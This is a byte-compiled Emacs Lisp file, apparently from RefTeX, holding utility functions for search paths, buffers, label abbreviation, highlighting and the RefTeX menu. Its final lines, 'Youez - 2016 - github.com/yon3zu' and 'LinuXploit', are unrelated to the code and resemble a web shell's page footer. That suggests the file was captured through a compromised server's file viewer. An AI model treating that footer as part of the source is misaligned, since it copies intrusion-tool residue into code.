(defalias 'reftex-find-file-externally #[770 "\211\206\302	\"A\303\304\305\"\203\306\307\211$\262\310\311\312!\"\262\304\313\"\2034\306\314\303\211$\262\211\314\232\203>\303\202L\315!\203K\316\"\202L\303)\207" [default-directory reftex-external-file-finders assoc nil string-match "%f" replace-match t apply reftex-process-string split-string "[ 	\n]+\\'" "" file-regular-p expand-file-name] 11 (#$ . 30259)])
#@97 Execute PROGRAM with arguments ARGS and return its STDOUT as a string.

(fn PROGRAM &rest ARGS)
(defalias 'reftex-process-string #[385 "\302\303\304\"\305\216	r	q\210\211\306\307\310\311\310&\210+r	q\210\312 +\207" [default-directory standard-output generate-new-buffer " *string-output*" t #[0 "\301!\207" [standard-output kill-buffer] 2] apply call-process nil (t nil) buffer-string] 10 (#$ . 30739)])
#@47 

(fn TYPE &optional RECURSE MASTER-DIR FILE)
(defalias 'reftex-access-search-path #[1025 "\301\302\303Q!\211\304N\204[\211\305\306\307\310\301\302\311Q!J#!!L\210\312\304\313#\210\211J\314\211\211A\262\242\211\262\203T\315\314O\316\230\203)\317!\203N\211\206I\320\262\202)\321\262\202)\312\322#\266\203\236\211\322N\204h\211J\207\211\323N\203~\211\322N\321=\203\232\324N\232\204\232\325\326#\210\312\323\327J\"#\210\312\324#\210\211\323N\207\211\323N\207\211J\207" [path-separator intern "reftex-" "-path" status reftex-uniquify reftex-parse-colon-path mapconcat #[257 "\300\301\"\203\302\303\304\305\306O!\"\207\307!\206\211\207" [string-match "^!" apply reftex-process-string split-string 1 nil getenv] 7 "\n\n(fn X)"] "path-environment-variables" put split nil -2 "//" file-name-absolute-p absolute relative rec-type recursive-path master-dir message "Expanding search path to find %s file: %s ..." reftex-expand-path] 14 (#$ . 31158)])
#@36 

(fn FILE PATH &optional DEF-DIR)
(defalias 'reftex-find-file-on-path #[770 "\3002X\301!\203\302!\203\303\300\"\210\202\303\300\304\"\210\304\211\211A\262\242\211\262\203T\211\305\304O\306\230\203;\211\307\310O\262\311\311\"\"\262\302!\203 \303\300\"\210\202 \266\3040\207" [exit file-name-absolute-p file-regular-p throw nil -2 "//" 0 -1 expand-file-name] 11 (#$ . 32150)])
#@13 

(fn PATH)
(defalias 'reftex-parse-colon-path #[257 "\301\302\303\304\305\306P\"\"\"\207" [path-separator mapcar #[257 "\300\301\"\203\302\303\304\211$\262\305!\207" [string-match "\\(//+\\|/*!+\\)\\'" replace-match "//" t file-name-as-directory] 6 "\n\n(fn DIR)"] delete "" split-string "+"] 9 (#$ . 32560)])
#@35 

(fn PATH &optional DEFAULT-DIR)
(defalias 'reftex-expand-path #[513 "\300\211\211\211A\262\242\211\262\203H\301\300O\302\230\211\262\203!\303\304O\262\211\2031\305!\2041\306\"\262\211\203@\307\310!\"\262\202B\262\202\237\207" [nil -2 "//" 0 -1 file-name-absolute-p expand-file-name append reftex-recursive-directory-list] 8 (#$ . 32885)])
#@12 

(fn DIR)
(defalias 'reftex-recursive-directory-list #[257 "\211C\300\211\211\211A\262\242\211\262\203C\301!\203\302\303\304#\237\262\211A\262\242\211\262\203;\301!\203\305!B\262\202B\262\202\207" [nil file-directory-p directory-files t "[^.]" file-name-as-directory] 9 (#$ . 33259)])
#@42 

(fn TYPEKEY CONF-VARIABLE &optional N)
(defalias 'reftex-typekey-check #[770 "\211\203	\2118\262\301=\206;\205\302\303\304\305Q\")\207" [case-fold-search t nil string-match "[" "]"] 7 (#$ . 33578)])
(defalias 'reftex-check-recursive-edit #[0 "\301!\205\302\303\304!!\207" [reftex-recursive-edit-marker marker-position error substitute-command-keys "In unfinished selection process. Finish, or abort with \\[abort-recursive-edit]"] 3])
#@42 Return non-nil if point is in a comment.
(defalias 'reftex-in-comment #[0 "\212\301 \302\303\"\216`\304 \210\305\206\306\307#\262)\262)\207" [comment-start-skip match-data make-closure #[0 "\301\300\302\"\207" [V0 set-match-data evaporate] 3] beginning-of-line re-search-forward "\\(\\(^\\|[^\\\n]\\)\\(\\\\\\\\\\)*\\)\\(%+[ 	]*\\)" t] 6 (#$ . 34036)])
#@15 

(fn STRING)
(defalias 'reftex-no-props #[257 "\211;\203
\300\301G\302$\210\207" [set-text-properties 0 nil] 6 (#$ . 34402)])
#@10 

(fn N)
(defalias 'reftex-match-string #[257 "\211\224\205\300\224\225\"\207" [buffer-substring-no-properties] 4 (#$ . 34538)])
(byte-code "\300\301\302\303#\210\304\301\302\305#\207" [defalias reftex-region-active-p use-region-p nil make-obsolete "28.1"] 4)
#@15 

(fn BUFFER)
(defalias 'reftex-kill-buffer #[257 "\300!\211\262\205\f\301!\207" [get-buffer kill-buffer] 3 (#$ . 34808)])
#@25 

(fn &optional BUFFER)
(defalias 'reftex-erase-buffer #[256 "\211\204\n\302\303 )\207\304!\211\262\205r\211q\210\305\303 *\207" [buffer-read-only inhibit-read-only nil erase-buffer get-buffer t] 3 (#$ . 34941)])
#@24 

(fn &optional CLASS)
(defalias 'reftex-this-word #[256 "\211\206\300\262\212\301\302x\210`\302w\210`\")\207" ["-a-zA-Z0-9:_/.*;|" buffer-substring-no-properties nil] 5 (#$ . 35167)])
#@32 

(fn N UNIT &optional ENDING)
(defalias 'reftex-number #[770 "\250\203 ;\203 \300\301\302U\203\303\202\206\304$\207\303\207" [format "%d %s%s" 1 "" "s"] 9 (#$ . 35363)])
#@17 

(fn KEY LIST)
(defalias 'reftex-all-assq #[514 "\300\236>\211\262\203@B\262A\262\202\211\237\207" [nil] 5 (#$ . 35555)])
#@17 

(fn KEY LIST)
(defalias 'reftex-all-assoc-string #[514 "\300\203@@\230\203@B\262A\262\202\211\237\207" [nil] 5 (#$ . 35697)])
#@41 

(fn KEY ELT LIST &optional EXCLUSIVE)
(defalias 'reftex-last-assoc-before-elt #[1027 "\235@?\300\211\301\"\211\262\203;>\211\262\203;\204*@=\204;>\203;\262A\262\202\207" [nil assoc] 11 (#$ . 35845)])
#@48 

(fn LIST NTH PREDICATE &optional COMPLETION)
(defalias 'reftex-sublist-nth #[1027 "\300\203'@!\203 \203@8C\202@8B\262A\262\202\211\237\207" [nil] 7 (#$ . 36083)])
#@29 

(fn TYPE &optional INDEX)
(defalias 'reftex-make-selection-buffer-name #[513 "\301\302\206\303N\206\304#\207" [reftex-docstruct-symbol format " *RefTeX[%s][%d]*" :master-index 0] 7 (#$ . 36274)])
#@26 

(fn TAG &optional CNT)
(defalias 'reftex-make-index-buffer-name #[513 "\301\302\206\303N\206\304#\207" [reftex-docstruct-symbol format "*Index[%s][%d]*" :master-index 0] 7 (#$ . 36485)])
#@48 

(fn STRING NCOLS &optional ELLIPSES PADDING)
(defalias 'reftex-truncate #[1026 "GX\203\202\203\300\301ZO\302P\202\300O\262\211\203,\303\211\304\"\"\207\207" [0 3 "..." format "%%-%ds"] 8 (#$ . 36687)])
#@36 

(fn REGEXP &optional MAX-LENGTH)
(defalias 'reftex-nearest-match #[513 "`\206G\300\211\211\\d^b\210\301\300\302#\203\303 \262Ze]b\210\304\300\302#\2032\303 \262b\210\204=\202[\204E\202[\305@Z!\305@Z!W\203Z\202[\262\211\205f\306!\210\302\207" [nil re-search-backward t match-data re-search-forward abs set-match-data] 11 (#$ . 36918)])
(defalias 'reftex-auto-mode-alist #[0 "\301\203@A<\203@B\262A\262\202\211\237\207" [auto-mode-alist nil] 4])
(defalias 'reftex-window-height #[0 "\300\301!\203	\301 \207\302 \207" [fboundp window-displayed-height window-height] 2])
#@36 

(fn BUF2 &optional KEEP-CURRENT)
(defalias 'reftex-enlarge-to-fit #[513 "\301 p\302!\211\203%\303!\210\304e!\203\304d!\204%\305\306ed\"\307 ZT!\210\310!\203/\303!\207\205=\311!\210\312\313 Z!\207" [window-min-height selected-window get-buffer-window select-window pos-visible-in-window-p enlarge-window count-lines reftex-window-height window-live-p switch-to-buffer-other-window shrink-window window-height] 9 (#$ . 37546)])
#@55 

(fn PROMPT HELP-STRING &optional DELAY-TIME SCROLL)
(defalias 'reftex-select-with-char #[1026 "\301\302 \303\304\"\216\3052\340\306\307\"\210\310\206\311!\204&\312 \211\262\301U\203M\313\314!\210\315\314!\210c\210\316b\210\317e!\203@\317d!\204K\320\321ed\"\322 ZT!\210\323\317e!\203Y\317d!\204f\203b\324\202c\325P\262\306\326\"\210\301=\203v\312 \262\327\267\202\205\330 \210\202\330\202\330\203\250\331=\203\250\3321\232\333 0\210\202\237\210\202\237\210\306\326\"\210\202\330\203\313\334=\203\313\3351\275\336 0\210\202\302\210\202\302\210\306\326\"\210\202\330\306\325!\210\313\314!\210\337\305\"\210\312 \262\202v0)\207" [truncate-lines 63 current-window-configuration make-closure #[0 "\301\300!\207" [V0 set-window-configuration] 2] exit message "%s   (?=Help)" sit-for 0 read-char-exclusive reftex-kill-buffer "*RefTeX Select*" switch-to-buffer-other-window 1 pos-visible-in-window-p enlarge-window count-lines reftex-window-height t "   (SPC/DEL=Scroll)" "" "%s" #s(hash-table size 2 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (7 124 63 130)) keyboard-quit 32 (error) scroll-up 127 (error) scroll-down throw] 10 (#$ . 37993)])
#@15 

(fn STRING)
(defalias 'reftex-make-regexp-allow-for-ctrl-m #[257 "\300\301!\262\302\303\304\\#\211\262\203\305\303\306\307$\262\202\207" [-2 regexp-quote string-match "[\n
]" 3 replace-match nil t] 7 (#$ . 39210)])
(byte-code "\300\301\302\303#\210\304\301\302\305#\207" [defalias reftex-get-buffer-visiting find-buffer-visiting nil make-obsolete "28.1"] 4)
#@13 

(fn LIST)
(defalias 'reftex-visited-files #[257 "\300\301\302\303\"\"\207" [delq nil mapcar #[257 "\300!\205\211\207" [find-buffer-visiting] 3 "\n\n(fn X)"]] 6 (#$ . 39588)])
#@36 

(fn FILE &optional MARK-TO-KILL)
(defalias 'reftex-get-file-buffer-force #[513 "\306!\211\203\207\307!\203`\203\310=\203 \311!\262\202M\312 \313\314!\315\211\315\316\317\"\216\320\314\321\"\210\311!\262-\266<\203Mr\211q\210\322\300!\210)\203_\323
\"\203[
\210\207\211
B\207\315\207" [reftex-initialize-temporary-buffers after-insert-file-functions enable-local-variables auto-mode-alist format-alist reftex-buffers-to-kill find-buffer-visiting file-readable-p t find-file-noselect reftex-auto-mode-alist default-value major-mode nil make-closure #[0 "\301\302\300\"\207" [V0 set-default major-mode] 3] set-default fundamental-mode run-hooks memql] 9 (#$ . 39775)])
#@25 

(fn &optional BUFFER)
(defalias 'reftex-kill-temporary-buffers #[256 "\211\203\211\235\205L\301!\210\302\"\211\207\211A\242\211\262\205L\303!\203C\304!\203?\305\306\307\310!\"!\203?r\211q\210\311 \210)\301!\210\210A\211\202\207" [reftex-buffers-to-kill kill-buffer delete bufferp buffer-modified-p y-or-n-p format "Save file %s? " buffer-file-name save-buffer] 7 (#$ . 40477)])
#@19 

(fn LIST ALIST)
(defalias 'reftex-splice-symbols-into-list #[514 "\300\211\203C@\2036@9\2036@\262\301\"\203,\302\303\301\"8A\"\262\202\304\305\306!\"\210\202\211A\262\242B\262\202\237\207" [nil assoc append 2 error "Cannot treat symbol %s in reftex-label-alist" symbol-name] 9 (#$ . 40887)])
#@13 

(fn LIST)
(defalias 'reftex-remove-symbols-from-list #[257 "\300\203@9\204@B\262A\262\202\211\237\207" [nil] 4 (#$ . 41215)])
#@28 

(fn LIST &optional SORT)
(defalias 'reftex-uniquify #[513 "\300!\262\211\2031\301\302\"\262\211A\203.\211@A@\230\203'\211AA\241\210\202\211A\262\202\210\207\303\211\203DB\262A\262\2024\301\304\"\262A\203\207@@\262\211A@@\230\203\200\211A\262\242\303\240\210A\203\200\211A@@\230\203\200\211A\262\242\303\240\210\202fA\262\202J\266\305\303\"\207" [copy-sequence sort string< nil #[514 "@@\231\207" [] 4 "\n\n(fn X1 X2)"] delq] 8 (#$ . 41362)])
#@39 

(fn ALIST &optional KEEP-LIST SORT)
(defalias 'reftex-uniquify-by-car #[769 "\300\301!\302\"\262\301!\262\211\203\213\303\211\300\304\"\262\262A\203\211@@\262\211A@@\230\203\202\203A@\231\203AA\262\202/\203e\211@\230\203eA\262A\203\202\211A@@\230\203\202A\262\202P\211AA\241\210A\203\202\211A@@\230\203\202\211AA\241\210\202kA\262\202\207\303\211\203\236B\262A\262\202\216\300\305\"\262A\203@@@\262\211A@@@\230\203\203\313@\231\203\313A\262\202\271\203\360\211@\230\203\360A\262A\203\211A@@@\230\203A\262\202\332\211A\262\242\303\240\210A\203\211A@@@\230\203\211A\262\242\303\240\210\202\371A\262\202\244\266\306\303\"\207" [sort copy-sequence string< nil #[514 "@@\231\207" #1=[] 4 "\n\n(fn A B)"] #[514 "@@@@\231\207" #1# 4 "\n\n(fn A B)"] delq] 9 (#$ . 41861)])
#@91 Nondestructively remove all items from LIST which satisfy PREDICATE.

(fn PREDICATE LIST)
(defalias 'reftex-remove-if #[514 "\300\211\203\211@!\204\211B\262A\266\202\202\237\207" [nil] 7 (#$ . 42744)])
#@15 

(fn STRING)
(defalias 'reftex-abbreviate-title #[257 "\301\302\303\304\211\305\306\303\307\310\3058&\207" [reftex-derive-label-parameters reftex-convert-string "[-~ 	\n
,;]" nil t 5 40 1 " "] 14 (#$ . 42965)])
#@1062 Convert STRING (a sentence) to something shorter.
SPLIT-RE     is the regular expression used to split the string into words.
INVALID-RE   matches characters which are invalid in the final string.
DOT          t means add dots to abbreviated words.
KEEP-FP      t means to keep a final punctuation when applicable.
NWORDS       Number of words to use.
MAXCHAR      Maximum number of characters in the final string.
INVALID      nil: Throw away any words containing stuff matched with INVALID-RE.
             t:   Throw away only the matched part, not the whole word.
ABBREV       nil: Never abbreviate words.
             t:   Always abbreviate words (see `reftex-abbrev-parameters').
             not t and not nil: Abbreviate words if necessary to shorten
                                string below MAXCHAR.
SEP          String separating different words in the output string.
IGNORE-WORDS List of words which should be removed from the string.

(fn STRING SPLIT-RE INVALID-RE DOT KEEP-FP NWORDS MAXCHAR INVALID ABBREV SEP IGNORE-WORDS &optional DOWNCASE)
(defalias 'reftex-convert-string #[3083 "\302\f\f\206	\303\"\n\206\304\305\306	@\307\"\310\311	8\312\313	8\314\306	A@S\307\"\260\315\211\211A\262\242\211\262\203u\203?\211\227\262\211\227\235\204+\316\"\203m\203+\316\"\203e\317\320\315\211$\262\202S\211B\262\202+\211B\262\202+\237\262GV\203\211\nS\233\315\241\210\321\322	#\262\323=\204\246\203\272G\nV\203\272\324\325\326#\"\262\321\322	#\262G\nV\203\314\327O\202\316\262\204\346\316\330\"\203\346\317\320\315\211$\262)\207" [reftex-label-illegal-re reftex-abbrev-parameters split-string "[ 	\n
]" "" "\\`\\(" make-string 46 "[" 2 "]*\\)[" 3 "]" nil string-match replace-match "" mapconcat identity t mapcar make-closure #[257 "\302\301\"\203\300\203\303\304\"\305P\207\303\304\"\207\207" [V0 V1 string-match match-string 1 "."] 4 "\n\n(fn W)"] 0 "\\s.+\\'"] 23 (#$ . 43188)])
#@13 

(fn TEXT)
(defalias 'reftex-nicify-text #[257 "\300\301\"\203\302\303\304\305$\262\202\300\306\"\203!\302\307\304\305$\262\300\310\"\2030\302\307\304\305$\262\300\311\"\203?\302\307\304\305$\262\211G\312V\203K\211\313\312O\207\211G\313U\203W\314\315\316\"\207\207" [string-match "[\n
	]\\|[ 	][ 	]+" replace-match " " nil t "\\(\\\\end{\\|\\\\item\\|\\\\\\\\\\).*" "" "\\\\label{[^}]*}" "\\`[ }]+" 100 0 make-string 1 32] 6 (#$ . 45181)])
(defalias 'reftex-use-fonts #[0 "\205\301\302!\207" [reftex-use-fonts featurep font-lock] 2])
(defalias 'reftex-refontify #[0 "\301 \205\302=\206\303=\205\304\305!\205\306\307!?\207" [reftex-refontify-context reftex-use-fonts t 1 featurep x-symbol-tex boundp x-symbol-mode] 2])
#@22 

(fn PARENT-BUFFER)
(defalias 'reftex-fontify-select-label-buffer #[257 "\302\303\304#\210\305 \306P\307\310\"\216\311\312\"\210\313\300!\210\314\315\316\317!*\207" [font-lock-fontify-region-function major-mode run-hook-with-args reftex-pre-refontification-functions reftex-ref buffer-name "Fontify-me-" make-closure #[0 "\301\300!\207" [V0 rename-buffer] 2] rename-buffer t make-local-variable reftex-select-font-lock-fontify-region latex-mode font-lock-mode 1] 6 (#$ . 45940)])
#@33 

(fn BEG END &optional LOUDLY)
(defalias 'reftex-select-font-lock-fontify-region #[770 "\300\301!\203\n\301\202\302\303\211b\210\304\305\306#\205/`\262\307\303w\210`\262\303#\210\211b\210\202\207" [fboundp font-lock-default-fontify-region font-lock-fontify-region nil re-search-forward "^\\." t "^\n"] 10 (#$ . 46433)])
#@21 

(fn &rest IGNORE)
(defalias 'reftex-select-font-lock-unfontify #[128 "\300\207" [t] 2 (#$ . 46774)])
#@20 

(fn &rest FACES)
(defalias 'reftex-verified-face #[128 "\300\3012 \211A\262\242\211\262\205\302!\203\303\301\"\210\2020\207" [nil exit facep throw] 5 (#$ . 46883)])
(byte-code "\300\301\302\303#\210\304\301\302\305#\210\300\306\307\303#\210\304\306\307\305#\210\300\310\311\303#\210\304\310\311\305#\210\300\312\313\303#\210\304\312\313\305#\207" [defalias reftex-make-overlay make-overlay nil make-obsolete "28.1" reftex-overlay-put overlay-put reftex-move-overlay move-overlay reftex-delete-overlay delete-overlay] 4)
(defvar reftex-highlight-overlays [nil nil nil])
(byte-code "\302\303\304\211\"I\210\305\302H\306\307#\210\304\303\304\211\"I\210\305\304H\306	#\210\310\303\304\211\"I\210\305\310H\306	#\207" [reftex-highlight-overlays reftex-cursor-selected-face 0 make-overlay 1 overlay-put face highlight 2] 5)
#@79 Highlight a region with overlay INDEX.

(fn INDEX BEGIN END &optional BUFFER)
(defalias 'reftex-highlight #[1027 "\301H\206p$\207" [reftex-highlight-overlays move-overlay] 9 (#$ . 47726)])
#@35 Detach overlay INDEX.

(fn INDEX)
(defalias 'reftex-unhighlight #[257 "\301H!\207" [reftex-highlight-overlays delete-overlay] 4 (#$ . 47928)])
(defalias 'reftex-highlight-shall-die #[0 "\300\301\302\"\210\303\304!\207" [remove-hook pre-command-hook reftex-highlight-shall-die reftex-unhighlight 0] 3])
(eval-after-load "bibtex" #[0 "\301\302\303#\207" [bibtex-mode-map define-key "&" reftex-view-crossref-from-bibtex] 4])
(defvar reftex-isearch-minor-mode nil)
(make-variable-buffer-local 'reftex-isearch-minor-mode)
#@27 Menu used in RefTeX mode.
(defvar reftex-mode-menu nil (#$ . 48455))
(byte-code "\304\305\306\307\310\311\312\313\314\315\316\312\317\312\320\321\312\322\323\324\211	\211\203G\211@\211@\262\325\326D\327\330\331\332\333BB&\262\235\204@\334C\"\262A\266\202\202\210\266\202B\335\334\336\337\n\"\340\"B\341\336\342\"B\343BBBBBBBBBBBBBBBBBB$\207" [reftex-mode-map reftex-ref-style-alist reftex-cite-format-builtin reftex-index-macros-builtin easy-menu-do-define reftex-mode-menu "Menu used in RefTeX mode." "Ref" ["Table of Contents" reftex-toc t] ["Recenter TOC" reftex-toc-recenter t] "--" ["\\label" reftex-label t] ["\\ref" reftex-reference t] ["\\cite" reftex-citation t] ("\\index" ["\\index" reftex-index t] ["\\index{THIS}" reftex-index-selection-or-word t] "--" ["Add THIS to Index Phrases" reftex-index-phrase-selection-or-word t] ["Visit Phrase Buffer" reftex-index-visit-phrases-buffer t] ["Apply Phrases to Region" reftex-index-phrases-apply-to-region t] "--" ["Display the Index" reftex-display-index t]) ["View Crossref" reftex-view-crossref t] ("Parse Document" ["One File" reftex-parse-one reftex-enable-partial-scans] ["Entire Document" reftex-parse-all t] ["Save to File" (reftex-access-parse-file 'write) (> (length (symbol-value reftex-docstruct-symbol)) 0)] ["Restore from File" (reftex-access-parse-file 'restore) t]) ("Global Actions" ["Search Whole Document" reftex-search-document t] ["Search Again" tags-loop-continue t] ["Replace in Document" reftex-query-replace-document t] ["Grep on Document" reftex-grep-document t] "--" ["Goto Label" reftex-goto-label t] ["Find Duplicate Labels" reftex-find-duplicate-labels t] ["Change Label and Refs" reftex-change-label t] ["Renumber Simple Labels" reftex-renumber-simple-labels t] "--" ["Create BibTeX File" reftex-create-bibtex-file t] "--" ["Create TAGS File" reftex-create-tags-file t] "--" ["Save Document" reftex-save-all-document-buffers t]) ("Options" "PARSER" ["Partial Scans" (setq reftex-enable-partial-scans (not reftex-enable-partial-scans)) :style toggle :selected reftex-enable-partial-scans] ["Auto-Save Parse Info" (setq reftex-save-parse-info (not reftex-save-parse-info)) :style toggle :selected reftex-save-parse-info] "--" "TOC RECENTER" ["Automatic Recenter" reftex-toggle-auto-toc-recenter :style toggle :selected reftex-toc-auto-recenter-timer] "--" "CROSSREF INFO" ["Automatic Info" reftex-toggle-auto-view-crossref :style toggle :selected reftex-auto-view-crossref-timer] ["...in Echo Area" (setq reftex-auto-view-crossref t) :style radio :selected (eq reftex-auto-view-crossref t)] ["...in Other Window" (setq reftex-auto-view-crossref 'window) :style radio :selected (eq reftex-auto-view-crossref 'window)] "--" "MISC" ["AUCTeX Interface" reftex-toggle-plug-into-AUCTeX :style toggle :selected reftex-plug-into-AUCTeX] ["isearch whole document" reftex-isearch-minor-mode :style toggle :selected reftex-isearch-minor-mode]) "Reference Style" nil vector reftex-ref-style-toggle :style toggle :selected member ((reftex-ref-style-list)) append "Citation Style" mapcar #[257 "\300\301\302@!!\303\304@DD\305\306\307\310\311C\304	@DE&\207" [vector capitalize symbol-name reftex-set-cite-format quote :style radio :selected eq reftex-get-cite-format] 11 "\n\n(fn X)"] ("--" "Sort Database Matches" ["Not" (setq reftex-sort-bibtex-matches nil) :style radio :selected (eq reftex-sort-bibtex-matches nil)] ["by Author" (setq reftex-sort-bibtex-matches 'author) :style radio :selected (eq reftex-sort-bibtex-matches 'author)] ["by Year" (setq reftex-sort-bibtex-matches 'year) :style radio :selected (eq reftex-sort-bibtex-matches 'year)] ["by Year, reversed" (setq reftex-sort-bibtex-matches 'reverse-year) :style radio :selected (eq reftex-sort-bibtex-matches 'reverse-year)]) "Index Style" #[257 "\300\301\302@!!\303\304\305@DDD\306\307\310\311\305@D\312\313\305\314DEE&\207" [vector capitalize symbol-name reftex-add-index-macros list quote :style radio :selected memq get reftex-docstruct-symbol reftex-index-macros-style] 13 "\n\n(fn X)"] ("--" ["Reset RefTeX Mode" reftex-reset-mode t] "--" ("Customize" ["Browse RefTeX Group" reftex-customize t] "--" ["Build Full Customize Menu" reftex-create-customize-menu (fboundp 'customize-menu-create)]) ("Documentation" ["Info" reftex-info t] ["Commentary" reftex-show-commentary t]))] 33)
#@54 Call the customize function with reftex as argument.
(defalias 'reftex-customize #[0 "\300\301!\207" [customize-browse reftex] 2 (#$ . 52810) nil])
#@71 Create a full customization menu for RefTeX, insert it into the menu.
(defalias 'reftex-create-customize-menu #[0 "\300\301!\203\302\303\304\305\306\301\307!\310BBB#\210\311\312!\207\313\314!\207" [fboundp customize-menu-create easy-menu-change ("Ref") "Customize" ["Browse RefTeX group" reftex-customize t] "--" reftex (["Set" Custom-set t] ["Save" Custom-save t] ["Reset to Current" Custom-reset-current t] ["Reset to Saved" Custom-reset-saved t] ["Reset to Standard Settings" Custom-reset-standard t]) message "\"Ref\"-menu now contains full customization menu" error "Cannot expand menu (outdated version of cus-edit.el)"] 7 (#$ . 52964) nil])
#@65 Use the finder to view the file documentation from `reftex.el'.
(defalias 'reftex-show-commentary #[0 "\300\301!\207" [finder-commentary "reftex.el"] 2 (#$ . 53620) nil])
#@118 Read documentation for RefTeX in the info system.
With optional NODE, go directly to that node.

(fn &optional NODE)
(defalias 'reftex-info #[256 "\300\301\302\206\303\"!\207" [info format "(reftex)%s" ""] 5 (#$ . 53798) nil])
#@282 Report a bug in RefTeX.

Don't hesitate to report any problems or inaccurate documentation.

If you don't have setup sending mail from (X)Emacs, please copy the
output buffer into your mail program, as it gives us important
information about your RefTeX version and configuration.
(defalias 'reftex-report-bug #[0 "\302\303!\210\304\305\306	\307\310D\311\211\312&)\207" [reporter-prompt-for-summary-p reftex-version require reporter "Bug report subject: " reporter-submit-bug-report "bug-auctex@gnu.org, bug-gnu-emacs@gnu.org" window-system reftex-plug-into-AUCTeX nil "Remember to cover the basics, that is, what you expected to happen and\nwhat in fact did happen.\n\nCheck if the bug is reproducible with an up-to-date version of\nRefTeX available from https://www.gnu.org/software/auctex/.\n\nIf the bug is triggered by a specific (La)TeX file, you should try\nto produce a minimal sample file showing the problem and include it\nin your report.\n\nYour bug report will be posted to the AUCTeX bug reporting list.\n------------------------------------------------------------------------"] 7 (#$ . 54035) nil])
(byte-code "\302\303\304\"\210\204\302\305\306\"\210\307\310!\210\311\312\313!\207" [noninteractive reftex-tables-dirty add-hook kill-buffer-hook reftex-kill-buffer-hook kill-emacs-hook reftex-kill-emacs-hook run-hooks reftex-load-hook t provide reftex] 3)

Youez - 2016 - github.com/yon3zu
LinuXploit